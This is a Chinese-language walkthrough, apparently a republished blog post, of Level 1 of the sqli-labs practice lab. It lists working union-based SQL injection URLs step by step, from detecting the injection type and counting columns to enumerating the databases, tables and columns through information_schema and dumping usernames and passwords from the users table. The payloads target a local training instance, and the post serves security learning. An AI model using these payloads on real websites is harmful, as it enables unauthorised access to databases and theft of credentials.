sqli-labs-master 第一关

Posted 燕钰达

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs-master 第一关相关的知识,希望对你有一定的参考价值。

注:如未接触过sql注入,建议观看前期知识点文章 https://www.cnblogs.com/yyd-sun/p/12256407.html

第一关步骤

一、判断注入类型(数字/字符)

(1)、http://localhost/sqli-labs-master/Less-1/?id=1         结果正常

(2)、http://localhost/sqli-labs-master/Less-1/?id=1\'        报错

 (3)、http://localhost/sqli-labs-master/Less-1/?id=1\'--+             结果正常

结果说明是字符注入。

 

二、猜解SQL查询语句中的字段数

 http://localhost/sqli-labs-master/Less-1/?id=1\'order by 4 --+

 http://localhost/sqli-labs-master/Less-1/?id=1\'order by 3 --+

结果显示字段数为3

 

三、确定回显的字段数

 http://localhost/sqli-labs-master/Less-1/?id=-1\'union select 1,2,3--+

结果显示 回显字段为2、3

 

四、获取当前数据库

 http://localhost/sqli-labs-master/Less-1/?id=-1\'union select 1,2,group_concat(schema_name) from information_schema.schemata--+

information_schema
challenges
dvwa
jokedb
mysql
pikachu
pkxss
security
test

五、获取security库的表名

 http://localhost/sqli-labs-master/Less-1/?id=-1\'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

emails
referers
uagents
users

 

六、查users表字段

http://localhost/sqli-labs-master/Less-1/?id=-1\'union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

 

七、查询users表的id,username,password

 http://localhost/sqli-labs-master/Less-1/?id=-1\'union select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users--+

 

以上是关于sqli-labs-master 第一关的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs Less54-Less65

sqli-labs-master第二关:Error Based- Intiger

sqli-labs-master第五关Less-5 Double Query- Single:方式一

sqli-labs-master less05

sqli-labs-master搭建

sqli-labs-master 盲注+第五关+第六关